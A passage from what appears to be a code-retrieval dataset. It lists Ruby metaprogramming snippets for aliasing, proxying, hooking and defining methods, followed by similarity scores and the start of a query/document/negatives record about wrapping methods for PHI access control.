@flexmock_proxy.mock.#{method_name}(*args, &block) \n end\n }, __FILE__, eval_line\n make_rcov_recognize_the_above_eval_is_covered = true\n end\n end", "def add_method(method_name, &definition)\n new_patch AddMethodPatch.send(:new, method_name, &definition)\n end", "def restore_original_definition(method_name)\n method_def = @method_definitions[method_name]\n if method_def\n the_alias = new_name(method_name)\n sclass.class_eval do\n alias_method(method_name, the_alias)\n end\n end\n end", "def redefine_method(method, &block)\n remove_possible_method(method)\n define_method(method, &block)\n end", "def recreate_method(method, advices, scope)\n context.instance_variable_set(:@aspector_creating_method, true)\n\n raw_advices = advices.select(&:raw?)\n\n if raw_advices.size > 0\n raw_advices.each do |advice|\n if @target.is_a?(Module) && !@options[:class_methods]\n @target.class_exec method, self, &advice.advice_block\n else\n @target.instance_exec method, self, &advice.advice_block\n end\n end\n\n return if raw_advices.size == advices.size\n end\n\n begin\n @wrapped_methods[method] = context.instance_method(method)\n rescue\n # ignore undefined method error\n if @options[:existing_methods_only]\n logger.log Logging::WARN, 'method-not-found', method\n end\n\n return\n end\n\n before_advices = advices.select(&:before?) + advices.select(&:before_filter?)\n after_advices = advices.select(&:after?)\n around_advices = advices.select(&:around?)\n\n (around_advices.size - 1).downto(1) do |i|\n advice = around_advices[i]\n recreate_method_with_advices method, [], [], advice\n end\n\n recreate_method_with_advices(\n method,\n before_advices,\n after_advices,\n around_advices.first\n )\n\n context.send scope, method if scope != :public\n ensure\n context.send :remove_instance_variable, :@aspector_creating_method\n end", "def alias_method(name, method, *args, &block)\n SES::MethodData.register_alias(self, name, method)\n ses_core_module_alias_method(name, method, *args, &block)\n end", "def create_methods!\n return unless type == :normal\n\n fn = name\n dmm = session_class._dynamic_methods_module\n mn = name.to_s.downcase\n\n dmm.define_method(mn) do\n self[fn]\n end\n\n dmm.define_method(\"#{mn}=\") do |new_value|\n self[fn] = new_value\n end\n\n if visibility == :private\n dmm.send(:private, mn, \"#{mn}=\".to_sym)\n end\n end", "def alias_methods(*method_names)\r\n trait = self\r\n module_or_self.module_eval do\r\n existing_instance_methods = method_names & trait.instance_methods\r\n existing_instance_methods.each do |method_name|\r\n alias_method trait.aliased_method_name(method_name), method_name\r\n end\r\n end\r\n end", "def restore_original_definition(method_name)\n begin\n method_def = @method_definitions[method_name]\n if method_def\n the_alias = new_name(method_name)\n target_class_eval do\n alias_method(method_name, the_alias)\n end\n end\n rescue NameError => _\n # Alias attempt failed\n nil\n end\n end", "def add_method method\n return method unless @document_self\n\n # HACK: avoid duplicate 'new' in io.c & struct.c (1.8.7 source code)\n key = method.pretty_name\n known = @methods_hash[key]\n\n if known then\n if @store then # otherwise we are loading\n known.comment = method.comment if known.comment.empty?\n previously = \", previously in #{known.file}\" unless\n method.file == known.file\n @store.rdoc.options.warn \\\n \"Duplicate method #{known.full_name} in #{method.file}#{previously}\"\n end\n else\n @methods_hash[key] = method\n if @current_line_visibility\n method.visibility, @current_line_visibility = @current_line_visibility, nil\n else\n method.visibility = @visibility\n end\n add_to @method_list, method\n resolve_aliases method\n end\n\n method\n end", "def add_method out, name\n filtered = lookup_method name\n\n method_out = method_document name, filtered\n\n out.concat method_out.parts\n end", "def redefine_method(method, &block)\n visibility = method_visibility(method)\n remove_possible_method(method)\n define_method(method, &block)\n send(visibility, method)\n end", "def mediate(method_name)\n raise Errors::ReservedMethodName if RESERVED_METHOD_NAMES.include?(method_name)\n\n Registration.repositories[self].methods << method_name\n end", "def make_independent\n self.method = method.dup\n end", "def old_method\n \"old improved method\"\nend", "def alias_original_method_text alias_method_name, join_point, type_being_advised_text\n target_self = join_point.instance_method? ? \"self\" : join_point.target_type.name\n advice_chain_attr_sym = Aspect.make_advice_chain_attr_sym join_point\n <<-EOF\n alias_method :#{alias_method_name}, :#{join_point.method_name}\n def #{join_point.method_name} *args, &block_for_method\n advice_chain = #{type_being_advised_text}.send :class_variable_get, \"#{advice_chain_attr_sym}\"\n join_point = advice_chain.static_join_point.dup\n join_point.context.parameters = args\n join_point.context.block_for_method = block_for_method\n join_point.context.advised_object = #{target_self}\n advice_chain.call join_point\n end\n #{join_point.visibility.to_s} :#{join_point.method_name}\n private :#{alias_method_name}\n EOF\n end", "def override_method!(method_name, &block)\n return unless block_given?\n\n without_warnings do\n define_singleton_method(method_name, &block).tap do\n wrapped_methods.add(method_name)\n end\n end\n end", "def def_post_proc(base_method, extend_method)\n base_method = base_method.to_s\n extend_method = extend_method.to_s\n\n alias_name = new_alias_name(base_method)\n module_eval %[\n alias_method alias_name, base_method\n def #{base_method}(*opts)\n __send__ :#{alias_name}, *opts\n __send__ :#{extend_method}, *opts\n end\n ]\n end", "def intersys_method(name)\n Method.new(database, class_name, name.to_s, self)\n end", "def add_proxy_method(method) # :nodoc:\n # Redefine to avoid warnings if the method has already been defined\n proxy.redefine_method(method, &proxified_methods[method])\n end", "def hook(opts = {})\n raise AlreadyHookedError, \"#{base_object} method '#{method_name}' has already been hooked\" if self.class.get(base_object, method_name, singleton_method)\n\n @hook_opts = opts\n @original_method_visibility = method_visibility_of(method_name)\n hook_opts[:visibility] ||= original_method_visibility\n\n if original_method_visibility || !hook_opts[:force]\n @original_method = current_method\n end\n\n if original_method && original_method.owner == base_object\n original_method.owner.send(:remove_method, method_name)\n end\n\n if singleton_method\n if base_object.singleton_class.method_defined?(method_name) || base_object.singleton_class.private_method_defined?(method_name)\n base_object.singleton_class.send(:alias_method, method_name, method_name)\n end\n base_object.define_singleton_method(method_name, override_method)\n else\n if base_object.method_defined?(method_name) || base_object.private_method_defined?(method_name)\n base_object.send(:alias_method, method_name, method_name)\n end\n base_object.send(:define_method, method_name, override_method)\n end\n\n if [:public, :protected, :private].include? hook_opts[:visibility]\n method_owner.send(hook_opts[:visibility], method_name)\n end\n\n Agency.instance.recruit(self)\n @was_hooked = true\n self\n end", "def private_method(method_name, *required_contexts, context_direction: Trigger::IOK, &closure)\n Isolator.new(default_direction: context_direction, &closure)\n .private_method(method_name, *required_contexts)\n end", "def define_alias_methods(member_name, options); end", "def define_method_attribute(attr_name)\n cast_code = attribute_cast_code(attr_name)\n\n generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1\n def __temp__\n #{internal_attribute_access_code(attr_name, cast_code)}\n end\n alias_method '#{attr_name}', :__temp__\n undef_method :__temp__\n STR\n\n generated_external_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1\n def __temp__(v, attributes, attributes_cache, attr_name)\n #{external_attribute_access_code(attr_name, cast_code)}\n end\n alias_method '#{attr_name}', :__temp__\n undef_method :__temp__\n STR\n end", "def method_override(ver,name)\n @method_names[ver]=name\n end", "def singleton_method_alias( newname, original )\n\t\t\tsingleton_class.__send__( :alias_method, newname, original )\n\t\tend", "def define_proxy_method(method_name)\n if method_name.to_s =~ /=$/\n eval_line = __LINE__ + 1\n target_class_eval %{\n def #{method_name}(*args, &block)\n instance_variable_get('@flexmock_proxy').\n mock.__send__(:#{method_name}, *args, &block)\n end\n }, __FILE__, eval_line\n else\n eval_line = __LINE__ + 1\n target_class_eval %{\n def #{method_name}(*args, &block)\n instance_variable_get('@flexmock_proxy').\n mock.#{method_name}(*args, &block)\n end\n }, __FILE__, eval_line\n _ = true # make rcov recognize the above eval is covered\n end\n end", "def restore_instance_method(name)\n if respond_to?(\"#{METHOD_BACKUP_KEY}#{name}\")\n meta_eval {\n alias_method name, \"#{METHOD_BACKUP_KEY}#{name}\"\n remove_method \"#{METHOD_BACKUP_KEY}#{name}\"\n }\n end\n end", "def alias(name, visibility, original_name, original_exec, original_mod)\n Rubinius.primitive :methodtable_alias\n raise PrimitiveFailure, \"MethodTable#alias primitive failed\"\n end", "def walk_method(name); end", "def __define_shortcut_method(method_cache)\n define_singleton_method(method_cache.method_name) do |*args, &inner_block|\n method_cache.strategy.new.public_send(method_cache.method_name, *args, &inner_block)\n end\n end", "def method_added(method)\n return unless @current_doc_link\n\n @doc_urls ||= {}\n @doc_urls[method] = @current_doc_link\n\n # Prevent infinite recursion on define_method below\n @current_doc_link = nil\n\n alias_method \"old_#{method}\".to_sym, method\n\n define_method(method) do |*args|\n begin\n send(\"old_#{method}\", *args)\n rescue Exception => e\n msg = e.message + \"\\n\\nPlease refer to this URL for additional information on this API call:\\n#{self.class.api_docs(method)}\\n\" \n raise e, msg, e.backtrace\n end\n end\n end", "def add_method(key)\n self.class.send(:define_method, key) do\n @hash[key]\n end\n end", "def before_method name, &block\n original_method = instance_method name\n _redefine_method name do |*args|\n instance_exec *args, &block\n original_method.bind(self).call *args\n end\n end", "def apply(klass, method)\n if klass.is_a?(String)\n return unless Object.const_defined?(klass)\n\n klass = Object.const_get(klass)\n end\n\n proxy = self\n original_method = \"_tainted_love_original_#{method}\"\n\n klass.class_eval do\n alias_method original_method, method\n\n define_method method do |*args, &given_block|\n proxy.handle(self, original_method, *args, &given_block)\n end\n end\n end", "def generate_method(method_name, &block)\n define_method(method_name, &block)\n method = instance_method method_name\n remove_method method_name\n method\n end", "def add_convenience_method(name_, pattern_, indexes_)\n @mutex.synchronize do\n raise ConfigurationLockedError if @locked\n name_ = name_.to_sym\n if @methods.has_key?(name_)\n raise IllegalConfigurationError, \"Factory method already exists\"\n end\n @methods[name_] = [pattern_, indexes_]\n end\n self\n end", "def description\n str = \"alias :#{old_method_name}\"\n\n str << \" as #{new_method_name.inspect}\" if new_method_name\n\n str\n end", "def add_method\n <<-CODE\n next_literal;\n t1 = stack_pop();\n t2 = stack_pop();\n cpu_add_method(state, c, t1, _lit, t2);\n stack_push(t2);\n cpu_perform_hook(state, c, t1, global->sym_method_added, _lit);\n CODE\n end", "def hook!(method_to_hook)\n hooked_method = hooked_method(method_to_hook)\n original_method = original_method(method_to_hook)\n line = __LINE__; alias_these_hooks = <<-hooks\n alias :#{original_method} :#{method_to_hook}\n def #{hooked_method}(*args)\n Hook.for(self.class).execute_before(:#{method_to_hook}, self)\n result = #{original_method}(*args)\n Hook.for(self.class).execute_after(:#{method_to_hook}, self)\n result\n end\n alias :#{method_to_hook} :#{hooked_method}\n hooks\n klass.class_eval alias_these_hooks, __FILE__, line.succ\n end", "def define_attribute_methods\n super\n self.generated_methods.each do |method|\n if method.to_s =~ Regexp.new(\"^#{self.to_s.underscore}__\")\n new_method_name = $~.post_match\n alias_method(new_method_name, method)\n private method\n self.generated_methods << new_method_name\n end\n end\n end", "def define_method_attribute(name)\n safe_name = name.unpack1(\"h*\")\n temp_method = \"__temp__#{safe_name}\"\n\n ActiveRecord::AttributeMethods::AttrNames.set_name_cache safe_name, name\n sync_with_transaction_state = \"sync_with_transaction_state\" if name == primary_key\n\n generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1\n def #{temp_method}\n #{sync_with_transaction_state}\n name = ::ActiveRecord::AttributeMethods::AttrNames::ATTR_#{safe_name}\n _read_attribute(name) { |n| missing_attribute(n, caller) }\n end\n STR\n\n generated_attribute_methods.module_eval do\n alias_method name, temp_method\n undef_method temp_method\n end\n end", "def delegate_methods(*symbols); end", "def method_missing(method_name, *args)\n if method_name.to_s.start_with?('add_')\n extend method_name.slice(4..-1).camelize.constantize\n else\n super\n end\n end", "def unmodulize(*method_syms)\n method_syms.each do |method_sym|\n methname = method_sym.to_s\n orig_methname_sym = \"#{methname}_before_modulize\".to_sym\n if instance_methods(false).include?(orig_methname_sym) # if it was modulized\n class_eval <<-EOM\n alias_method method_sym, orig_methname_sym\n remove_method orig_methname_sym\n EOM\n end\n end\n end", "def method_added(method_name)\n visibility = :public\n visibility = :private if private_method_defined? method_name\n visibility = :protected if protected_method_defined? method_name\n\n unless autoescape_methods[method_name]\n prepend Module.new {\n module_eval %{\n #{ visibility } def #{ method_name }(*args, &blk); ::Hanami::View::Escape.html super; end\n }\n }\n\n autoescape_methods[method_name] = true\n end\n end", "def add_method(instance, method_name)\n\t define_singleton_method(method_name) do |*args|\n\t instance.public_send(method_name, *args)\n\t end\n\t\tend", "def module_function(name)\n if entry = @method_table.lookup(name)\n sc = class << self; self; end\n sc.method_table.store name, entry.method, :public\n Rubinius::VM.reset_method_cache name\n private name\n end\n end", "def alias_class_method(new_name, old_name)\n #klass = self.to_s\n metaclass.instance_eval do\n alias_method new_name, old_name\n end\n end", "def alias_class_method(new_name, old_name)\n #klass = self.to_s\n metaclass.instance_eval do\n alias_method new_name, old_name\n end\n end", "def add_alias(method)\n @aliases << method\n end", "def add_alias(method)\n @aliases << method\n end", "def import_method(source, name, new_name = name)\n from = name.to_sym\n to = new_name.to_sym\n\n fn = source.is_a?(Registry) ? source.fetch(from) : source.method(from)\n self.class.new(methods.merge(to => fn))\n end", "def add_alias an_alias, context = nil\n method = self.class.new an_alias.text, an_alias.new_name\n\n method.record_location an_alias.file\n method.singleton = self.singleton\n method.params = self.params\n method.visibility = self.visibility\n method.comment = an_alias.comment\n method.is_alias_for = self\n @aliases << method\n context.add_method method if context\n method\n end", "def handle_method_addition(clazz, method_name)\n # @_ignore_additions allows to temporarily disable the hook\n return if @_ignore_additions || declared_decorators.empty?\n decorator_class, params, blk = declared_decorators.pop\n\n undecorated_method = clazz.instance_method(method_name)\n decorator = METHOD_CALLED_TOO_EARLY_HANDLER\n clazz.send(:define_method, method_name) { |*args, &block| decorator.call(self, *args, &block) }\n decorated_method = clazz.instance_method(method_name)\n @_ignore_additions = true\n decorator = decorator_class.new(clazz, undecorated_method, decorated_method, *params, &blk)\n @_ignore_additions = false\n clazz.send(Decors::Utils.method_visibility(undecorated_method), method_name)\n end", "def call_alias_method(method_name, *args)\n alias_name = self.class.method_aliases_mapping[method_name]\n if respond_to?(alias_name.to_sym)\n send(alias_name, *args)\n else\n send(method_name, *args)\n end\n end", "def add_method_name(current_string)\n adjusted_method_name = if @method_name.present? && (@method_name[0] == '/' || @method_name[0] == '.')\n log_hint(BuilderHints::METHOD_NAME_LEADING)\n \"#{@method_name} \"\n else\n \"/#{@method_name} \"\n end\n add_if_present(@method_name, current_string, adjusted_method_name)\n end", "def method_translator\n operations.each do | op |\n if op['method'].blank? && op['httpMethod']\n op['method']= op.delete('httpMethod')\n swagger[\"__notifications\"] << \"001: replace `httpMethod' with `method'\"\n end\n end\n end", "def __add_method__(name, obj)\n s = MethodContext.current.sender\n scope = s.method_scope || :public\n\n if name == :initialize or scope == :module\n visibility = :private\n else\n visibility = scope\n end\n\n # All userland added methods start out with a serial of 1.\n obj.serial = 1\n\n # Push the scoping down.\n obj.staticscope = s.method.staticscope\n\n Rubinius::VM.reset_method_cache(name)\n\n obj.staticscope.module.method_table[name] = Tuple[visibility, obj]\n\n if scope == :module\n s.current_scope.module_function name\n end\n\n if s.current_scope.respond_to? :method_added\n s.current_scope.method_added(name)\n end\n\n # Return value here is the return value of the 'def' expression\n return obj\n end", "def intercept(klass,mname,&blk)\n unless klass.class == Class || klass.class == Module\n fail \"first arg to intercept_method should be a class or module\"\n end\n mname = mname.to_sym\n old_method = klass.instance_method mname\n # old_method is unbound at this point\n\n# new_meth = instrument_method(klass,mname,old_method,blk)\n# klass.class_eval {define_method mname, &new_meth}\n @klasses[klass] = {} unless @klasses.key? klass \n @klasses[klass][mname] = [old_method,blk]\n @frame_skips[klass] = {} unless @frame_skips.key? klass\n @frame_skips[klass][mname] = 1\n end", "def define_proxy_call(include_private, code_generator, name, target, *extra)\n defn = if NAME_COMPILABLE_REGEXP.match?(name)\n \"def #{name}(*args)\"\n else\n \"define_method(:'#{name}') do |*args|\"\n end\n\n extra = (extra.map!(&:inspect) << \"*args\").join(\", \")\n\n body = if CALL_COMPILABLE_REGEXP.match?(target)\n \"#{\"self.\" unless include_private}#{target}(#{extra})\"\n else\n \"send(:'#{target}', #{extra})\"\n end\n\n code_generator <<\n defn <<\n body <<\n \"end\" <<\n \"ruby2_keywords(:'#{name}') if respond_to?(:ruby2_keywords, true)\"\n end", "def as new_method_name\n @new_method_name = new_method_name\n\n self\n end", "def register_advice_methods!\n scope # force calculation of scope before aliasing methods.\n\n @mutex.synchronize do\n return self if @advice_methods_registered\n\n this = self\n mod_target.instance_eval do\n define_method(this.before_meth, &this.advice.before)\n define_method(this.after_meth, &this.advice.after)\n define_method(this.around_meth, &this.advice.around)\n end\n\n @advice_methods_registered = true\n end\n self\n end", "def public_method(method_name, *required_contexts, context_direction: Trigger::IOK, &closure)\n Isolator.new(default_direction: context_direction, &closure)\n .public_method(method_name, *required_contexts)\n end", "def existing_method clazz, method_name, meta, &block\n return if redefined? clazz, method_name, &block\n\n old_method = validate_existing_definition clazz, method_name\n validate_method_arity clazz, method_name, old_method, &block\n validate_decoration_meta clazz, method_name, old_method, meta\n\n old_method\n end", "def define_method(name, &block)\n name = name.to_sym\n super(name, &block)\n @methods_defined[name] = true\n end", "def recreate_method_with_advices(\n method,\n before_advices,\n after_advices,\n around_advice\n )\n aspect = @aspect\n logger = @logger\n interception = self\n orig_method = get_wrapped_method_of method\n\n code = MethodTemplate::TEMPLATE.result(binding)\n logger.debug 'generate-code', method, code\n context.class_eval code, __FILE__, __LINE__ + 4\n end", "def mk_method(proc)\n @klass.send(:define_method, @method_name, proc)\n end", "def method(method_name)\n \n @_method = method_name.to_s\n \n end", "def define_method(name, &block)\n name = name.to_sym\n super(name, &block)\n @methods_defined[name] = true\n end", "def alias_deprecated_method(deprecated_method, new_method, version_deprecrated = nil, version_to_be_removed = nil)\n eval %{\n def #{deprecated_method}(*args)\n deprecate_method(:#{deprecated_method}, :#{new_method}, \"#{version_deprecrated}\", \"#{version_to_be_removed}\")\n #{new_method}(*args)\n end\n }\n end", "def function2method(method)\n \"#{Indentation.get}this.#{method.to_s[4 + Indentation.size..-1]}\"\n end", "def __define_full_method(method_cache)\n define_singleton_method(method_cache.method_name) do |*args, &inner_block|\n __run_wrappers(method_cache, *args) do |*call_args|\n method_cache.strategy.new.public_send(method_cache.method_name, *call_args, &inner_block)\n end\n end\n end", "def flexmock_invoke_original(method, args)\n method_proc = @method_definitions[method]\n method_proc.call(*args)\n end", "def add_key_lookup_method(key_value, value)\n key_lookup_method_name = sanitize(\"#{value}_#{@key_name}\")\n @modyule::ClassMethods.instance_exec(key_lookup_method_name, key_value, value) do |method_name, key_value|\n define_method method_name do\n key_value\n end\n end\n end", "def delegate_field(method_name, field_name)\r\n self.module_eval(\"def #{method_name}(*obj) @#{field_name}.#{method_name}(*obj) end\")\r\n end", "def add_alias_impl(an_alias, meth)\n new_meth = RDoc::AnyMethod.new an_alias.text, an_alias.new_name\n new_meth.is_alias_for = meth\n new_meth.singleton = meth.singleton\n new_meth.params = meth.params\n new_meth.comment = \"Alias for \\##{meth.name}\"\n meth.add_alias new_meth\n add_method new_meth\n end" ]
[ "0.71978664", "0.7069993", "0.6886632", "0.68152463", "0.668163", "0.6671713", "0.6611153", "0.6611153", "0.651443", "0.64577705", "0.6443086", "0.64276093", "0.64140046", "0.64104855", "0.6367846", "0.63619065", "0.6343728", "0.6333576", "0.63164103", "0.63136435", "0.62857246", "0.62728125", "0.6264214", "0.62131333", "0.6203828", "0.6181732", "0.6178336", "0.6168118", "0.6163801", "0.6144701", "0.6144145", "0.6143823", "0.6109909", "0.6105575", "0.6091253", "0.60859823", "0.6085203", "0.60793966", "0.6040014", "0.603174", "0.60244584", "0.6019127", "0.60051066", "0.59901625", "0.59829384", "0.59782416", "0.59719735", "0.5970248", "0.5963546", "0.59438133", "0.5927799", "0.59242874", "0.5909805", "0.5907266", "0.59030163", "0.58913887", "0.58849347", "0.58827484", "0.5872026", "0.58680576", "0.5860907", "0.5855115", "0.5842738", "0.5839596", "0.58382803", "0.58352536", "0.58313626", "0.58303165", "0.5822503", "0.5820139", "0.58192176", "0.58149177", "0.58149177", "0.5813332", "0.5813332", "0.58130133", "0.5782802", "0.57823515", "0.5777743", "0.5768689", "0.57654", "0.5762809", "0.57592386", "0.5757539", "0.57575256", "0.57507116", "0.57310355", "0.5729537", "0.5726245", "0.5723188", "0.5714798", "0.5714619", "0.57120156", "0.56975704", "0.5696439", "0.5691978", "0.5687827", "0.568006", "0.5676192", "0.5675222" ]
0.74538535
0
Core logic for wrapping methods in PHI access extensions. Almost functionally equivalent to the phi_wrap_method call above, this method doesn't add any logging or access restriction, but simply proxies the PhiRecordallow_phi! call.
def phi_wrap_extension(method_name) raise NameError, "Undefined relationship in `extend_phi_access`: #{method_name}" unless respond_to?(method_name) return if self.class.__phi_methods_to_extend.include? method_name wrapped_method = wrapped_extended_name(method_name) unwrapped_method = unwrapped_extended_name(method_name) self.class.send(:define_method, wrapped_method) do |*args, **kwargs, &block| relation = send(unwrapped_method, *args, **kwargs, &block) if phi_allowed? && (relation.present? && relation_klass(relation).included_modules.include?(PhiRecord)) relations = relation.is_a?(Enumerable) ? relation : [relation] relations.each do |r| r.allow_phi!(phi_allowed_by, phi_access_reason) unless @__phi_relations_extended.include?(r) end @__phi_relations_extended.merge(relations) self.class.__instances_with_extended_phi.add(self) end relation end # method_name => wrapped_method => unwrapped_method self.class.send(:alias_method, unwrapped_method, method_name) self.class.send(:alias_method, method_name, wrapped_method) self.class.__phi_methods_to_extend << method_name end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def wrap_phi\n # Disable PHI access by default\n @__phi_access_stack = []\n @__phi_methods_extended = Set.new\n @__phi_relations_extended = Set.new\n\n # Wrap attributes with PHI Logger and Access Control\n __phi_wrapped_methods.each { |m| phi_wrap_method(m) }\n __phi_extended_methods.each { |m| phi_wrap_extension(m) }\n end", "def phi_wrap_method(method_name)\n unless respond_to?(method_name)\n PhiAttrs::Logger.warn(\"#{self.class.name} tried to wrap non-existant method (#{method_name})\")\n return\n end\n return if self.class.__phi_methods_wrapped.include? method_name\n\n wrapped_method = :\"__#{method_name}_phi_wrapped\"\n unwrapped_method = :\"__#{method_name}_phi_unwrapped\"\n\n self.class.send(:define_method, wrapped_method) do |*args, **kwargs, &block|\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n unless phi_allowed?\n raise PhiAttrs::Exceptions::PhiAccessException, \"Attempted PHI access for #{self.class.name} #{@__phi_user_id}\"\n end\n\n unless all_phi_context_logged?\n PhiAttrs::Logger.info(\"#{self.class.name} access by [#{all_phi_allowed_by}]. Triggered by method: #{method_name}\")\n set_all_phi_context_logged\n end\n\n send(unwrapped_method, *args, **kwargs, &block)\n end\n end\n\n # method_name => wrapped_method => unwrapped_method\n self.class.send(:alias_method, unwrapped_method, method_name)\n self.class.send(:alias_method, method_name, wrapped_method)\n\n self.class.__phi_methods_wrapped << method_name\n end", "def extend_phi_access(*methods)\n self.__phi_extend_methods = methods.map(&:to_s)\n end", "def register_advice_methods!\n scope # force calculation of scope before aliasing methods.\n\n @mutex.synchronize do\n return self if @advice_methods_registered\n\n this = self\n mod_target.instance_eval do\n define_method(this.before_meth, &this.advice.before)\n define_method(this.after_meth, &this.advice.after)\n define_method(this.around_meth, &this.advice.around)\n end\n\n @advice_methods_registered = true\n end\n self\n end", "def __phi_wrapped_methods\n excluded_methods = self.class.__phi_exclude_methods.to_a\n included_methods = self.class.__phi_include_methods.to_a\n\n attribute_names - excluded_methods + included_methods - [self.class.primary_key]\n end", "def proxy meth\n Proxy.new self, meth\n end", "def method_missing(method, *args, &block)\n self.class.define_proxy method\n send(method, *args, &block)\n end", "def instrument_method(klass,method_name,unbound_orig_method,inst_code) \n lambda do |*args|\n bound_method = unbound_orig_method.bind(self)\n# if ::DRuby::Profile::Interceptor.enabled then\n inst_code.call(bound_method,*args)\n# else\n# bound_method.call(*args)\n# end\n end\n end", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access_for = self.class.__user_id_string(@__phi_access_stack)\n\n revoke_extended_phi!\n @__phi_access_stack = []\n\n message = removed_access_for.present? ? \"PHI access disabled for #{removed_access_for}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def decorate!; end", "def decorate!; end", "def with_method_transaction\n temp_name = \"__pry_#{method.original_name}__\"\n method = self.method\n method.owner.class_eval do\n alias_method temp_name, method.original_name\n yield\n alias_method method.name, method.original_name\n alias_method method.original_name, temp_name\n end\n\n ensure\n method.send(:remove_method, temp_name) rescue nil\n end", "def intercept(klass, meth_name, type, &block)\n orig_name = \"aop_orig_#{meth_name}\".to_sym\n meth_name = meth_name.to_sym\n @intercepted_methods ||= Hash.new do |h,k| \n # h[class_name] = hash\n h[k] = Hash.new do |h,k|\n # h[class_name][method_name] = hash\n h[k] = Hash.new do |h,k| \n # h[class_name][method_name][interception_type] = array\n h[k] = []\n end\n end\n end\n \n make_interception = !@intercepted_methods[klass].has_key?(meth_name)\n @intercepted_methods[klass][meth_name][type] << block\n method_chain = @intercepted_methods[klass][meth_name]\n \n if make_interception\n klass.class_eval do\n alias_method orig_name, meth_name\n define_method(meth_name) do |*args|\n method_chain[:before].each { |m| m.call(self, args) }\n # The result of the callcc block will either be the last line in the actual\n # ruby block, or it will be whatever is passed as arguments when calling the \n # +abort_continuation+ proc\n callcc do |abort_continuation|\n # First lambda in chain is the call to the original method\n call_lambda = lambda { send(orig_name, *args) }\n method_chain[:around].each do |m|\n # Make a chain of lambdas that calls the previouly defined\n # lambda, thus creating a chain of around blocks that will\n # all finally reach the original method block\n prev_call_lambda = call_lambda\n call_lambda = lambda {\n # If +prev_call_lambda+ is called, the next around block in\n # chain until the last one which corresponds to the original method call\n # if +abort_continuation+ is called, then this loop is aborted and the\n # callcc block returns whatever was passed as an argument to the proc call\n m.call(self, args, prev_call_lambda, abort_continuation)\n }\n end\n result = call_lambda.call\n method_chain[:after].each { |m| m.call(self, result, args) }\n result\n end\n end\n end\n end\n end", "def entering_wrap_method\n @@inside_methods += 1\n end", "def disallow_last_phi!(preserve_extensions: false)\n raise ArgumentError, 'block not allowed' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access = @__phi_access_stack.pop\n\n revoke_extended_phi! unless preserve_extensions\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def define_proxy_call(include_private, code_generator, name, target, *extra)\n defn = if NAME_COMPILABLE_REGEXP.match?(name)\n \"def #{name}(*args)\"\n else\n \"define_method(:'#{name}') do |*args|\"\n end\n\n extra = (extra.map!(&:inspect) << \"*args\").join(\", \")\n\n body = if CALL_COMPILABLE_REGEXP.match?(target)\n \"#{\"self.\" unless include_private}#{target}(#{extra})\"\n else\n \"send(:'#{target}', #{extra})\"\n end\n\n code_generator <<\n defn <<\n body <<\n \"end\" <<\n \"ruby2_keywords(:'#{name}') if respond_to?(:ruby2_keywords, true)\"\n end", "def before_method(method)\n @@before_methods << method\n @@wrap_exclusions << method.to_sym # This method will not be wrapped.\n end", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n message = __phi_stack.present? ? \"PHI access disabled for #{__user_id_string(__phi_stack)}\" : 'PHI access disabled. No class level access was granted.'\n\n __reset_phi_stack\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def require_phi!\n raise PhiAccessException, 'PHI Access required, please call allow_phi or allow_phi! first' unless phi_allowed?\n end", "def include_in_phi(*methods)\n self.__phi_include_methods = methods.map(&:to_s)\n end", "def wrap(klass, &block)\n #puts \"Instrumenting #{klass.name} with #{block.inspect}\"\n instrumenter = self\n\n klass.instance_methods.each do |method|\n next if DONOTWRAP.include?(method.to_sym)\n klass.class_eval do\n orig_method = \"#{method}_original(wrapped)\".to_sym\n method = method.to_sym\n orig_method_proc = klass.instance_method(method)\n alias_method orig_method, method\n #block.call(:wrap, klass, method)\n define_method(method) do |*args, &argblock|\n exception = false\n block.call(:enter, klass, method, *args)\n begin\n # TODO(sissel): Not sure which is better:\n # * UnboundMethod#bind(self).call(...)\n # * self.method(orig_method).call(...)\n val = orig_method_proc.bind(self).call(*args, &argblock)\n #m = self.method(orig_method)\n #val = m.call(*args, &argblock)\n rescue => e\n exception = e\n end\n if exception\n block.call(:exit_exception, klass, method, *args)\n raise e if exception\n else\n block.call(:exit, klass, method, *args)\n end\n return val\n end\n end # klass.class_eval\n end # klass.instance_methods.each\n\n klass.methods.each do |method|\n next if DONOTWRAP.include?(method.to_sym)\n klass.instance_eval do\n orig_method = \"#{method}_original(classwrapped)\".to_sym\n (class << self; self; end).instance_eval do\n begin\n alias_method orig_method, method.to_sym\n rescue NameError => e\n # No such method, strange but true.\n orig_method = self.method(method.to_sym)\n end\n method = method.to_sym\n define_method(method) do |*args, &argblock|\n block.call(:class_enter, klass, method, *args)\n exception = false\n begin\n if orig_method.is_a?(Symbol)\n val = send(orig_method, *args, &argblock)\n else\n val = orig_method.call(*args, &argblock)\n end\n rescue => e\n exception = e\n end\n if exception\n block.call(:class_exit_exception, klass, method, *args)\n raise e if exception\n else\n block.call(:class_exit, klass, method, *args)\n end\n return val\n end\n end\n #block.call(:class_wrap, klass, method, self.method(method))\n end # klass.class_eval\n end # klass.instance_methods.each\n\n return true\n end", "def proxy; self end", "def define_new_method!\n advised = self\n\n advised.mod_target.instance_eval do\n define_method advised.new_meth do | *args, &block |\n ar = ActivationRecord.new(advised, self, args, block)\n\n # Proc to invoke the old method with :before and :after advise hooks.\n body = Proc.new do\n self.__send__(advised.before_meth, ar)\n begin\n ar.result = self.__send__(advised.old_meth, *ar.args, &ar.block)\n rescue ::Object => err\n ar.error = err\n ensure\n self.__send__(advised.after_meth, ar)\n end\n ar.result\n end\n\n # Invoke the :around advice with the body Proc.\n self.__send__(advised.around_meth, ar, body)\n\n # Reraise Exception, if occured.\n raise ar.error if 